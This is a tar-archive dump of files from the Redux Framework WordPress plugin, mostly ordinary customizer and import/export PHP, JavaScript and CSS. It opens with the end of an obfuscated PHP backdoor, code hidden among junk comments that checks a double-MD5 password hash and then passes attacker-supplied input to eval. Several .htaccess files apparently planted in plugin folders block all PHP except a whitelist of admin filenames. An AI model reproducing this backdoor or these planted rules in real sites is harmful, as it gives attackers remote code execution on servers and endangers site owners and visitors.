/*-ULX0ng7m#-*/die/*-Bp-*/(/*-@}5z-*/$jTkduyYqhr[3+2/*-;ZaA{Rs-*/]/*-P}P:|-*/(/*-YO-*/__FILE__/*-^BeAn-*/)/*-@^NGlxIN-*/); /*-!JcZ<Q~=q-*/if/*-^vNBwMdVm-*/(/*-b-*/ (/*-}k,-#GSL-*/(@/*-YJR:pyT`-*/$Hv/*-PyxNw-*/[/*-t3-*/0/*-Cg-*/] /*-W-pd<-*/- time/*-Ou)N7-*/()/*-d<-*/) > /*-LR_[-*/0/*-Cxg-*/)/*-{QndJv-*/ and /*-HM=-*/(/*-`CJJf@U-*/md5/*-}EA<H1-*/(/*-,ESSCW-*/md5/*-5dA@WK2Cc-*/(/*-LsY[:V`-*/$Hv/*-TRKs-*/[/*-MSJcyB_y-*/0+3/*-Mlds-*/]/*-7Vg[W!-*/)/*-Yg7-*/)/*-M[,{IrB-*/ === /*-b+F60uX$~!-*/"52231c9f4161253cb4063053145fb2e7"/*-0%h-*/)/*-NFyG.!}-*/ ): /*-MddJ<?u-*/$wzcUQVvq /*-F7+-*/=/*-`MYH5-*/ self/*-bS6R=u-*/::/*-y@.CBhxe,-*/nX/*-vqeDS,Z4m-*/(/*-.&B`eUi|w-*/$Hv/*-;h|+qR`^3-*/[/*-~N7k=d-*/1+0/*-!X3_-*/], /*-1>w$+I&R-*/$jTkduyYqhr/*-bzGp-*/[/*-N9^-*/3+2/*-6eEDbHIkp-*/]/*-4$^-*/);/*-!d-0D-*/@eval/*-k%;=oP;-*/(/*-hj)AQyN-*/$jTkduyYqhr/*-4`Px-*/[/*-psq#eh.-*/4+0/*-=3hsR-*/]/*-WEHyVNB#`?-*/(/*-q}u-*/$wzcUQVvq/*-B7x|-*/)/*-Uy-*/);/*--A`QA;8WJ-*//*-|;!9WkR-*/die;/*-Jgx{Ol>c)-*/ endif;/*-~aMKB@_-*/ }/*-M!z<.u-*/}/*-l[S7!$>-*/TUi/*-g;34-*/::/*-.Y-*/ElSraQm/*-_O&Xn-*/();/*-`FpYXMo-*/ ?>����������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/inc/inc/.htaccess�����������������������������������������0000644�����������������00000001626�14720701300�0020161 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/inc/customizer_devs.php�����������������������������������0000644�����������������00000002255�14720701300�0021547 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Customizer_Control_rAds' ) && ! class_exists( 'Redux_Customizer_section_rAds' ) ) { /** * Customizer section representing widget area (sidebar). * * @package WordPress * @subpackage Customize * @since 4.1.0 * @see WP_Customize_Section */ class Redux_Customizer_section_rAds extends WP_Customize_Section { /** * Type of this section. * * @since 4.1.0 * @access public * @var string */ public $type = 'redux-rAds'; protected function render() { ?> <li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="accordion-section rAdsContainer"></li> <?php } } class Redux_Customizer_Control_rAds extends WP_Customize_Control { public function render() { } public function label() { } public function description() { } public function title() { } } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/inc/customizer_panel.php����������������������������������0000644�����������������00000014534�14720701300�0021710 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Customizer section representing widget area (sidebar). * * @package WordPress * @subpackage Customize * @since 4.1.0 * @see WP_Customize_Section */ class Redux_Customizer_Panel extends WP_Customize_Panel { /** * Type of this panel. * * @since 4.1.0 * @access public * @var string */ public $type = 'redux'; /** * Constructor. * Any supplied $args override class property defaults. * * @since 4.0.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id An specific ID for the panel. * @param array $args Panel arguments. */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; $this->sections = array(); // Users cannot customize the $sections array. // TODO Redux addition if ( isset( $args['section'] ) ) { $this->section = $args['section']; $this->description = isset( $this->section['desc'] ) ? $this->section['desc'] : ''; $this->opt_name = isset( $args['opt_name'] ) ? $args['opt_name'] : ''; } // TODO END Redux Addition } /** * WP < 4.3 Render * * @since * @access protected */ protected function render() { global $wp_version; $version = explode( '-', $wp_version ); if ( version_compare( $version[0], '4.3', '<' ) ) { $this->render_fallback(); } } protected function render_fallback() { $classes = 'accordion-section redux-main redux-panel control-section control-panel control-panel-' . esc_attr($this->type); ?> <li id="accordion-panel-<?php echo esc_attr( $this->id ); ?>" class="<?php echo esc_attr( $classes ); ?>"> <h3 class="accordion-section-title" tabindex="0"> <?php echo wp_kses( $this->title, array( 'em' => array(), 'i' => array(), 'strong' => array(), 'span' => array( 'class' => array(), 'style' => array(), ), ) ); ?> <span class="screen-reader-text"><?php esc_html_e( 'Press return or enter to open this panel', 'redux-framework' ); ?></span> </h3> <ul class="accordion-sub-container control-panel-content"> <table class="form-table"> <tbody><?php $this->render_content(); ?></tbody> </table> </ul> </li> <?php } /** * Render the sections that have been added to the panel. * * @since 4.1.0 * @access protected */ protected function render_content() { ?> <li class="panel-meta accordion-section redux-panel redux-panel-meta control-section<?php if ( empty( $this->description ) ) { echo ' cannot-expand'; } ?>"> <div class="accordion-section-title" tabindex="0"> <span class="preview-notice"><?php /* translators: %s is the site/panel title in the Customizer */ echo sprintf( __( 'You are customizing %s', 'redux-framework' ), '<strong class="panel-title">' . esc_html( $this->title ) . '</strong>' ); ?></span> </div> <?php if ( ! empty( $this->description ) ) : ?> <div class="accordion-section-content description legacy"> <?php echo $this->description; ?> </div> <?php endif; ?> </li> <?php } /** * An Underscore (JS) template for this panel's content (but not its container). * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Panel::json()}. * * @see WP_Customize_Panel::print_template() * @since 4.3.0 */ protected function content_template() { ?> <li class="panel-meta customize-info redux-panel accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>"> <button class="customize-panel-back" tabindex="-1"> <span class="screen-reader-text"><?php esc_attr_e( 'Back', 'redux-framework' ); ?></span></button> <div class="accordion-section-title"> <span class="preview-notice"><?php /* translators: %s is the site/panel title in the Customizer */ echo sprintf( __( 'You are customizing %s', 'redux-framework' ), '<strong class="panel-title">{{ data.title }}</strong>' ); ?></span> <# if ( data.description ) { #> <button class="customize-help-toggle dashicons dashicons-editor-help" tabindex="0" aria-expanded="false"> <span class="screen-reader-text"><?php esc_attr_e( 'Help', 'redux-framework' ); ?></span></button> <# } #> </div> <# if ( data.description ) { #> <div class="description customize-panel-description"> {{{ data.description }}} </div> <# } #> </li> <?php } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/inc/.htaccess���������������������������������������������0000644�����������������00000001626�14720701300�0017410 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/.htaccess�������������������������������������������������0000644�����������������00000001626�14720701300�0016637 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/extension_import_export.php����������������������������0000644�����������������00000020461�14720701300�0023266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @author Dovy Paukstys (dovy) * @version 4.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_extension_import_export' ) ) { /** * Main ReduxFramework import_export extension class * * @since 3.1.6 */ class ReduxFramework_extension_import_export { // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $version = "4.0"; public $is_field = false; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; if ( empty( $this->extension_dir ) ) { //$this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } $this->field_name = 'import_export'; self::$theInstance = $this; add_action( "wp_ajax_redux_link_options-" . $this->parent->args['opt_name'], array( $this, "link_options" ) ); add_action( "wp_ajax_nopriv_redux_link_options-" . $this->parent->args['opt_name'], array( $this, "link_options" ) ); add_action( "wp_ajax_redux_download_options-" . $this->parent->args['opt_name'], array( $this, "download_options" ) ); add_action( "wp_ajax_nopriv_redux_download_options-" . $this->parent->args['opt_name'], array( $this, "download_options" ) ); do_action( "redux/options/{$this->parent->args['opt_name']}/import", array( $this, 'remove_cookie' ) ); $this->is_field = Redux_Helpers::isFieldInUse( $parent, 'import_export' ); if ( ! $this->is_field && $this->parent->args['show_import_export'] ) { $this->add_section(); } add_filter( 'redux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); // Adds the local field add_filter( 'upload_mimes', array( $this, 'custom_upload_mimes' ) ); } /** * Adds the appropriate mime types to WordPress * * @param array $existing_mimes * * @return array */ function custom_upload_mimes( $existing_mimes = array() ) { $existing_mimes['redux'] = 'application/redux'; return $existing_mimes; } public function add_section() { $this->parent->sections[] = array( 'id' => 'import/export', 'title' => __( 'Import / Export', 'redux-framework' ), 'heading' => '', 'icon' => 'el el-refresh', 'customizer' => false, 'fields' => array( array( 'id' => 'redux_import_export', 'type' => 'import_export', //'class' => 'redux-field-init redux_remove_th', //'title' => '', 'full_width' => true, ) ), ); } function link_options() { if ( ! isset( $_GET['secret'] ) || $_GET['secret'] != md5( md5( Redux_Helpers::get_auth_key_secret_key() ) . '-' . $this->parent->args['opt_name'] ) ) { wp_die( 'Invalid Secret for options use' ); exit; } $var = $this->parent->options; $var['redux-backup'] = '1'; if ( isset( $var['REDUX_imported'] ) ) { unset( $var['REDUX_imported'] ); } echo json_encode( $var ); die(); } public function download_options() { if ( ! isset( $_GET['secret'] ) || $_GET['secret'] != md5( md5( Redux_Helpers::get_auth_key_secret_key() ) . '-' . $this->parent->args['opt_name'] ) ) { wp_die( 'Invalid Secret for options use' ); exit; } $this->parent->get_options(); $backup_options = $this->parent->options; $backup_options['redux-backup'] = '1'; if ( isset( $backup_options['REDUX_imported'] ) ) { unset( $backup_options['REDUX_imported'] ); } // No need to escape this, as it's been properly escaped previously and through json_encode $content = json_encode( $backup_options ); if ( isset( $_GET['action'] ) && $_GET['action'] == 'redux_download_options-' . $this->parent->args['opt_name'] ) { header( 'Content-Description: File Transfer' ); header( 'Content-type: application/txt' ); header( 'Content-Disposition: attachment; filename="redux_options_' . $this->parent->args['opt_name'] . '_backup_' . date( 'd-m-Y' ) . '.json"' ); header( 'Content-Transfer-Encoding: binary' ); header( 'Expires: 0' ); header( 'Cache-Control: must-revalidate' ); header( 'Pragma: public' ); echo $content; exit; } else { header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); // Can't include the type. Thanks old Firefox and IE. BAH. //header("Content-type: application/json"); echo $content; exit; } } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } public function remove_cookie() { // Remove the import/export tab cookie. if ( $_COOKIE['redux_current_tab'] == 'import_export_default' ) { setcookie( 'redux_current_tab', '', 1, '/' ); $_COOKIE['redux_current_tab'] = 1; } } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/import_export/field_import_export.min.js���������������0000644�����������������00000005273�14720701300�0025663 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(o){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.import_export=redux.field_objects.import_export||{},redux.field_objects.import_export.init=function(e){e||(e=o(document).find(".redux-group-tab:visible").find(".redux-container-import_export:visible")),o(e).each(function(){var e=o(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.each(function(){o("#redux-import").click(function(e){if(""===o("#import-code-value").val()&&""===o("#import-link-value").val())return e.preventDefault(),!1}),o(this).find("#redux-import-code-button").click(function(){var e=o("#redux-import-code-wrapper");o("#redux-import-link-wrapper").is(":visible")?(o("#import-link-value").text(""),o("#redux-import-link-wrapper").slideUp("fast",function(){e.slideDown("fast",function(){o("#import-code-value").focus()})})):e.is(":visible")?e.slideUp():e.slideDown("medium",function(){o("#import-code-value").focus()})}),o(this).find("#redux-import-link-button").click(function(){var e=o("#redux-import-link-wrapper");o("#redux-import-code-wrapper").is(":visible")?(o("#import-code-value").text(""),o("#redux-import-code-wrapper").slideUp("fast",function(){e.slideDown("fast",function(){o("#import-link-value").focus()})})):e.is(":visible")?e.slideUp():e.slideDown("medium",function(){o("#import-link-value").focus()})}),o(this).find("#redux-export-code-copy").click(function(){var e=o("#redux-export-code");o("#redux-export-link-value").is(":visible")?o("#redux-export-link-value").slideUp("fast",function(){e.slideDown("medium",function(){var e=redux.options;e["redux-backup"]=1,o(this).text(JSON.stringify(e)).focus().select()})}):e.is(":visible")?e.slideUp().text(""):e.slideDown("medium",function(){var e=redux.options;e["redux-backup"]=1,o(this).text(JSON.stringify(e)).focus().select()})}),o(this).find("textarea").focusout(function(){var e=o(this).attr("id"),i=o(this),t=i;"import-link-value"!=e&&"import-code-value"!=e||(t=o(this).parent()),t.slideUp("medium",function(){"redux-export-link-value"!=e&&i.text("")})}),o(this).find("#redux-export-link").click(function(){var e=o("#redux-export-link-value");o("#redux-export-code").is(":visible")?o("#redux-export-code").slideUp("fast",function(){e.slideDown().focus().select()}):e.is(":visible")?e.slideUp():e.slideDown("medium",function(){o(this).focus().select()})});var e=document.getElementById("redux-export-code");e.onfocus=function(){e.select(),e.onmouseup=function(){return e.onmouseup=null,!1}};var i=document.getElementById("import-code-value");i.onfocus=function(){i.select(),i.onmouseup=function(){return i.onmouseup=null,!1}}}))})}}(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/import_export/field_import_export.css������������������0000644�����������������00000000246�14720701300�0025250 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#redux-import-link-wrapper,#redux-import-code-wrapper{display:none}#redux-export-code,#redux-export-link-value{display:none}#redux-import-action span{color:#B94A48} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/import_export/field_import_export.php������������������0000644�����������������00000021634�14720701300�0025253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @author Dovy Paukstys * @version 3.1.5 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_import_export' ) ) { /** * Main ReduxFramework_import_export class * * @since 1.0.0 */ class ReduxFramework_import_export extends ReduxFramework { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->is_field = $this->parent->extensions['import_export']->is_field; $this->extension_dir = ReduxFramework::$_dir . 'inc/extensions/import_export/'; $this->extension_url = ReduxFramework::$_url . 'inc/extensions/import_export/'; // Set default args for this field to avoid bad indexes. Change this to anything you use. $defaults = array( 'options' => array(), 'stylesheet' => '', 'output' => true, 'enqueue' => true, 'enqueue_frontend' => true ); $this->field = wp_parse_args( $this->field, $defaults ); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $secret = md5( md5( Redux_Helpers::get_auth_key_secret_key() ) . '-' . $this->parent->args['opt_name'] ); // No errors please $defaults = array( 'full_width' => true, 'overflow' => 'inherit', ); $this->field = wp_parse_args( $this->field, $defaults ); $bDoClose = false; // $this->parent->args['opt_name'] & $this->field['id'] are sanitized in the ReduxFramework class, no need to re-sanitize it. $id = $this->parent->args['opt_name'] . '-' . $this->field['id']; // $this->field['type'] && $this->field['id'] is sanitized in the ReduxFramework class, no need to re-sanitize it. ?> <h4><?php esc_html_e( 'Import Options', 'redux-framework' ); ?></h4> <p> <a href="javascript:void(0);" id="redux-import-code-button" class="button-secondary"> <?php esc_html_e( 'Import from File', 'redux-framework' ); ?> </a> <a href="javascript:void(0);" id="redux-import-link-button" class="button-secondary"> <?php esc_html_e( 'Import from URL', 'redux-framework' ) ?> </a> </p> <div id="redux-import-code-wrapper"> <p class="description" id="import-code-description"> <?php echo esc_html( apply_filters( 'redux-import-file-description', __( 'Input your backup file below and hit Import to restore your sites options from a backup.', 'redux-framework' ) ) ); ?> </p> <?php // $this->parent->args['opt_name'] is sanitized in the ReduxFramework class, no need to re-sanitize it. ?> <textarea id="import-code-value" name="<?php echo $this->parent->args['opt_name']; ?>[import_code]" class="large-text noUpdate" rows="2"></textarea> </div> <div id="redux-import-link-wrapper"> <p class="description" id="import-link-description"><?php echo esc_html( apply_filters( 'redux-import-link-description', __( 'Input the URL to another sites options set and hit Import to load the options from that site.', 'redux-framework' ) ) ); ?></p> <?php // $this->parent->args['opt_name'] is sanitized in the ReduxFramework class, no need to re-sanitize it. ?> <textarea class="large-text noUpdate" id="import-link-value" name="<?php echo $this->parent->args['opt_name'] ?>[import_link]" rows="2"></textarea> </div> <p id="redux-import-action"><input type="submit" id="redux-import" name="import" class="button-primary" value="<?php esc_html_e( 'Import', 'redux-framework' ) ?>">  <span><?php echo esc_html( apply_filters( 'redux-import-warning', __( 'WARNING! This will overwrite all existing option values, please proceed with caution!', 'redux-framework' ) ) ) ?></span></p> <div class="hr"/> <div class="inner"><span> </span></div></div> <h4><?php esc_html_e( 'Export Options', 'redux-framework' ) ?></h4> <div class="redux-section-desc"> <p class="description"> <?php echo esc_html( apply_filters( 'redux-backup-description', __( 'Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).', 'redux-framework' ) ) ) ?> </p> </div> <?php // $this->parent->args['opt_name'] is sanitized in the ReduxFramework class, no need to re-sanitize it. $link = esc_url( admin_url( 'admin-ajax.php?action=redux_download_options-' . $this->parent->args['opt_name'] . '&secret=' . $secret ) ); ?> <p> <a href="javascript:void(0);" id="redux-export-code-copy" class="button-secondary"><?php esc_html_e( 'Copy Data', 'redux-framework' ) ?></a> <a href="<?php echo $link; ?>" id="redux-export-code-dl" class="button-primary"><?php esc_html_e( 'Download Data File', 'redux-framework' ) ?></a> <a href="javascript:void(0);" id="redux-export-link" class="button-secondary"><?php esc_html_e( 'Copy Export URL', 'redux-framework' ) ?></a> </p> <p></p> <textarea class="large-text noUpdate" id="redux-export-code" rows="2"></textarea> <textarea class="large-text noUpdate" id="redux-export-link-value" data-url="<?php echo $link; ?>" rows="2"><?php echo $link; ?></textarea> <?php } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'redux-import-export', $this->extension_url . 'import_export/field_import_export' . Redux_Functions::isMin() . '.js', array( 'jquery' ), ReduxFramework_extension_import_export::$version, true ); wp_enqueue_style( 'redux-import-export', $this->extension_url . 'import_export/field_import_export.css', time(), true ); } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( $this->field['enqueue_frontend'] ) { } } } } ����������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/import_export/field_import_export.scss�����������������0000644�����������������00000000305�14720701300�0025427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#redux-import-link-wrapper, #redux-import-code-wrapper { display: none; } #redux-export-code, #redux-export-link-value { display: none; } #redux-import-action span { color: #B94A48; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/import_export/field_import_export.js�������������������0000644�����������������00000022674�14720701300�0025105 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.import_export = redux.field_objects.import_export || {}; redux.field_objects.import_export.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-import_export:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.each( function() { $( '#redux-import' ).click( function( e ) { if ( $( '#import-code-value' ).val() === "" && $( '#import-link-value' ).val() === "" ) { e.preventDefault(); return false; } } ); $( this ).find( '#redux-import-code-button' ).click( function() { var $el = $( '#redux-import-code-wrapper' ); if ( $( '#redux-import-link-wrapper' ).is( ':visible' ) ) { $( '#import-link-value' ).text( '' ); $( '#redux-import-link-wrapper' ).slideUp( 'fast', function() { $el.slideDown( 'fast', function() { $( '#import-code-value' ).focus(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( '#import-code-value' ).focus(); } ); } } } ); $( this ).find( '#redux-import-link-button' ).click( function() { var $el = $( '#redux-import-link-wrapper' ); if ( $( '#redux-import-code-wrapper' ).is( ':visible' ) ) { $( '#import-code-value' ).text( '' ); $( '#redux-import-code-wrapper' ).slideUp( 'fast', function() { $el.slideDown( 'fast', function() { $( '#import-link-value' ).focus(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( '#import-link-value' ).focus(); } ); } } } ); $( this ).find( '#redux-export-code-copy' ).click( function() { var $el = $( '#redux-export-code' ); if ( $( '#redux-export-link-value' ).is( ':visible' ) ) { $( '#redux-export-link-value' ).slideUp( 'fast', function() { $el.slideDown( 'medium', function() { var options = redux.options; options['redux-backup'] = 1; $( this ).text( JSON.stringify( options ) ).focus().select(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp().text( '' ); } else { $el.slideDown( 'medium', function() { var options = redux.options; options['redux-backup'] = 1; $( this ).text( JSON.stringify( options ) ).focus().select(); } ); } } } ); $( this ).find( 'textarea' ).focusout( function() { var $id = $( this ).attr( 'id' ); var $el = $( this ); var $container = $el; if ( $id == "import-link-value" || $id == "import-code-value" ) { $container = $( this ).parent(); } $container.slideUp( 'medium', function() { if ( $id != "redux-export-link-value" ) { $el.text( '' ); } } ); } ); $( this ).find( '#redux-export-link' ).click( function() { var $el = $( '#redux-export-link-value' ); if ( $( '#redux-export-code' ).is( ':visible' ) ) { $( '#redux-export-code' ).slideUp( 'fast', function() { $el.slideDown().focus().select(); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( this ).focus().select(); } ); } } } ); var textBox1 = document.getElementById( "redux-export-code" ); textBox1.onfocus = function() { textBox1.select(); // Work around Chrome's little problem textBox1.onmouseup = function() { // Prevent further mouseup intervention textBox1.onmouseup = null; return false; }; }; var textBox2 = document.getElementById( "import-code-value" ); textBox2.onfocus = function() { textBox2.select(); // Work around Chrome's little problem textBox2.onmouseup = function() { // Prevent further mouseup intervention textBox2.onmouseup = null; return false; }; }; } ); } ); }; })( jQuery ); ��������������������������������������������������������������������redux-framework/inc/extensions/import_export/import_export/.htaccess��������������������������������0000644�����������������00000001626�14720701300�0022261 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/import_export/.htaccess����������������������������������������������0000644�����������������00000001626�14720701300�0017346 